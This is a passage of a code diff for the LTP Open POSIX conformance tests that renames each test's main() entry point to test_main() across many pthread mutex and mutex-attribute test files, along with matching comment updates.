Create a mutex in the main() thread and lock it. + * 1. Create a mutex in the test_main() thread and lock it. * 2. Create a thread, and call pthread_mutex_timedlock inside of it. It should block for * the set time of (3 secs.). * 3. Save the time before and after the thread tried to lock the mutex. - * 4. After the thread has ended, main() will compare the times before and after the mutex + * 4. After the thread has ended, test_main() will compare the times before and after the mutex * tried to lock in the thread. */ @@ -45,7 +45,7 @@ static struct timeval currsec1, currsec2; /* Variables for saving time before * MAIN() * * *************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; struct timeval time_diff; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c index 8015dd2e..cb67a3e4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/2-1.c @@ -15,12 +15,12 @@ * Steps: * - * 1. Create a mutex in the main() thread and lock it. + * 1. Create a mutex in the test_main() thread and lock it. * 2. Create a thread, and call pthread_mutex_timedlock inside of it. It should block for * the set time of (3 secs.). * 3. Save the time before and after the thread tried to lock the mutex. - * 4. After the thread has ended, main() will compare the times before and after the mutex - * tried to lock in the thread. + * 4. After the thread has ended, test_main() will compare the times before + * and after the mutex tried to lock in the thread. */ /* Test for CLOCK_REALTIME */ @@ -48,7 +48,7 @@ static struct timeval currsec1, currsec2; /* Variables for saving time before * MAIN() * * *************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; struct timeval time_diff; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c index d3c0bdae..e2809101 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/4-1.c @@ -38,7 +38,7 @@ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; /* The mutex */ * MAIN() * * *************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c index f51106bd..d42248e9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-1.c @@ -46,7 +46,7 @@ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; /* The mutex */ * MAIN() * * *************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c index afca84ee..1f661128 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-2.c @@ -46,7 +46,7 @@ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; /* The mutex */ * MAIN() * * *************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c index a5f8b338..00566fb2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_timedlock/5-3.c @@ -13,7 +13,7 @@ * * Steps: * - * 1. In main(), lock the mutex then create a thread. + * 1. In test_main(), lock the mutex then create a thread. * 2. Inside the thread, call pthread_mutex_timedlock. It should block and return * ETIMEDOUT. * 3. Save the return value of pthread_mutex_timedlock() and cleanup mutex stuff. @@ -42,13 +42,13 @@ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; /* The mutex */ * MAIN() * * *************************/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; /* Lock the mutex before creating the thread. */ if (pthread_mutex_lock(&mutex) != 0) { - perror("Error in pthread_mutex_lock in main().\n"); + perror("Error in pthread_mutex_lock in test_main().\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-1.c index ee3f4587..38eeee80 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-1.c @@ -33,7 +33,7 @@ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; static int t1_start = 0; static int t1_pause = 1; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, rc; pthread_t t1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c index a3d8c486..44615569 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/1-2.c @@ -146,7 +146,7 @@ static void *tf(void *arg) } /* Main entry point. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; unsigned int sc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c index 038cf94f..248738cd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/2-1.c @@ -123,7 +123,7 @@ static void *tf(void *arg) } /* Main entry point. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; unsigned int sc; @@ -427,7 +427,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c index ea81f99c..c09d38b9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c @@ -14,7 +14,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-1.c index b2a55d86..f169c6d4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-1.c @@ -23,7 +23,7 @@ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c index eef5dd8d..40945945 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-2.c @@ -144,7 +144,7 @@ static void *tf(void *arg) } /* Main entry point. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; int sc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c index 2145bde8..38a405b0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/4-3.c @@ -297,7 +297,7 @@ static void *test(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/1-1.c index db6b3b32..0b8a93ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/1-1.c @@ -24,7 +24,7 @@ static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c index 39dacb73..c796f7f2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/2-1.c @@ -37,7 +37,7 @@ static void *func(void *parm); static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; static int value; /* value protected by mutex */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i; pthread_t threads[THREAD_NUM]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c index cb0ae72b..6770a795 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c @@ -14,7 +14,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c index f413e55c..690d769f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-1.c @@ -96,7 +96,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /** parent thread function **/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_mutexattr_t ma; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c index 341b318d..ba27107e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/5-2.c @@ -76,7 +76,7 @@ /********************************************************************************************/ /** parent thread function **/ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_mutexattr_t ma; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/1-1.c index ea1ecd52..11f6f228 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/1-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/2-1.c index 476167f7..f1f9f5c3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/2-1.c @@ -23,7 +23,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/3-1.c index 4107a322..7b155052 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/3-1.c @@ -21,7 +21,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c index cad69801..158ce530 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_destroy/4-1.c @@ -23,7 +23,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t *mta = NULL; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-1.c index 89c80cec..087506f1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-1.c @@ -27,7 +27,7 @@ static void print_pthread_error(const char *fname, int ret) printf("Unexpected error at %s(): %s\n", fname, strerror(ret)); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is prioceiling capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-2.c index ab53b3ff..e86fdbf3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/1-2.c @@ -23,7 +23,7 @@ #include <sched.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is prioceiling capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c index 1388c4fb..6c57834a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprioceiling/3-1.c @@ -26,7 +26,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int prioceiling, ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-1.c index 33880f4f..4be4ef1c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-1.c @@ -21,7 +21,7 @@ #include <sched.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-2.c index 02c5056b..c39a0dfa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getprotocol/1-2.c @@ -17,7 +17,7 @@ #include <sched.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-1.c index 22ffbc6f..6492d321 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-2.c index a9eb8225..acc6a74d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-2.c @@ -22,7 +22,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-3.c index 98441047..df9bbf75 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-3.c @@ -22,7 +22,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/3-1.c index 0046c992..3650ce7d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/3-1.c @@ -23,7 +23,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c index 71c864ea..0f6d4f80 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-1.c @@ -24,7 +24,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int type; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c index 7a77b77f..f5c696d2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-2.c @@ -25,7 +25,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int type; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c index 9b28c42a..82d0a9b2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-3.c @@ -25,7 +25,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int type; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c index a7c45205..11a2c160 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-4.c @@ -25,7 +25,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int type; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c index 888a5a22..f353ca23 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/1-5.c @@ -25,7 +25,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int type; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c index 8c999e34..fc15b771 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_gettype/speculative/3-1.c @@ -25,7 +25,7 @@ #include "posixtest.h" #include <errno.h> -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int type, ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/1-1.c index c9abce9c..ecdc7844 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/3-1.c index edc06781..fdda8646 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_init/3-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/1-1.c index a8973757..5cc4a774 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/1-1.c @@ -22,7 +22,7 @@ #include <sched.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is prioceiling capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c index 4546ab8e..75508c9c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-1.c @@ -24,7 +24,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is prioceiling capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-2.c index b93a1bde..43862cb8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprioceiling/3-2.c @@ -24,7 +24,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is prioceiling capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/1-1.c index 9d7fc0c8..a07ab9c0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/1-1.c @@ -21,7 +21,7 @@ #include <sched.h> #include "posixtest.h" -int main(void) +int 